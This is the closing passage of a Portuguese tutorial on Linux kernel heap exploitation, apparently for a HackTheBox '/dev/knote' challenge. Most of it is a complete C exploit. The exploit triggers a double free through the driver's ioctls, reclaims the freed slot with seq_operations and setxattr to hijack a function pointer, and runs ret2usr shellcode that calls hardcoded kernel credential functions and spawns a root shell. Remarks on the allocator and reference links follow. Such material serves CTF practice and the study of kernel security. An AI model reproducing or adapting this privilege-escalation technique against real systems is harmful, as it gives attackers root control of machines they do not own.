    #include <fcntl.h> #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/xattr.h> #define KNOTE_CREATE    0x1337 #define KNOTE_DELETE    0x1338 #define KNOTE_READ      0x1339 #define KNOTE_ENCRYPT   0x133a #define KNOTE_DECRYPT   0x133b int dev, target; /* Module structs */ typedef struct {     char *data;     size_t len;     void (*encrypt_func)(char *, size_t);     void (*decrypt_func)(char *, size_t); } knote; typedef struct {     unsigned long idx;     char * data;     size_t len; } knote_user; /* Backup registers */ unsigned long bak_cs,bak_rflags,bak_ss,bak_rsp,bak_rip; void bak(){     __asm__(         ".intel_syntax noprefix;"         "mov bak_cs, cs;"         "mov bak_ss, ss;"         "mov bak_rsp, rsp;"         "pushf;"         "pop bak_rflags;"         ".att_syntax;"             );     puts("[+]Registers backed up"); } /* Helper functions */ void debug(){     puts("[+]Halted execution");     getchar(); } void open_dev(){     dev = open("/dev/knote",O_RDONLY);     puts("[+]Interacting with device"); } void do_create(unsigned long idx, char *data, size_t len){     knote_user note = {         .idx = idx,         .data = data,         .len = len     };     ioctl(dev,KNOTE_CREATE,&note); } void do_delete(unsigned long idx){     knote_user note = {         .idx = idx     };     ioctl(dev,KNOTE_DELETE,&note); } void bin_sh(){     printf("[+]UID: %d\n",getuid());     close(target);     system("/bin/sh"); } unsigned long bak_rip = (unsigned long)bin_sh; void shellcode(){     __asm__(         ".intel_syntax noprefix;"         "mov rdi, 0;"         "movabs rbx, 0xffffffff81053c50;"         "call rbx;"         "mov rdi, rax;"         "movabs rbx, 0xffffffff81053a30;"         "call rbx;"         "swapgs;"         "mov r15, bak_ss;"         "push r15;"         "mov r15, bak_rsp;"         "push r15;"         "mov r15, bak_rflags;"         "push r15;"         "mov r15, bak_cs;"         "push r15;"         "mov r15, bak_rip;"         "push r15;"         "iretq;"         ".att_syntax;"     ); } /* Exploit */ int main(){     char payload[0x20];     void *func_ptr = &shellcode;     bak();     open_dev();     /* Double free */     do_create(0, (char *)0x1337000, 0x20);     do_delete(0);     /* Allocate seq_operations */     target = open("/proc/self/stat", O_RDONLY);     /* Consume free entry */     open("/proc/self/stat", O_RDONLY);     /* Overlap w/ setxattr */     setxattr("/proc/self/stat","exploit", &func_ptr, 0x20, 0);     read(target, payload, 1);     return 0; } Considerações finais
    O heap do kernel linux é bastante complexo e várias técnicas não foram cobertas, diferentes bugs são explorados de diferentes formas em diferentes alocadores com diferentes configurações, logo, escrever um exploit exige compreender e ler a implementação do alocador (qual é a rotina para alocar e remover objetos? Como funciona o gerenciamento dos caches?), entender a capacidade total de cada bug (o que dá para fazer com essa vuln?) e entender o objetivo do exploit (que valor na memória eu posso querer corromper?). Esses conhecimentos e questionamentos podem servir de guia para escolher estruturas para corromper, técnicas, objetos usados para moldar a memória, etc.
    Referências
    https://docs.google.com/viewerng/viewer?url=http://www.personal.psu.edu/yxc431/publications/SLAKE.pdf https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628#任意データ書き込みHeap-Sprayに使える構造体 https://0xten.gitbook.io/public/hackthebox/retired-challenges https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/  
     

×
×
  • Criar Novo...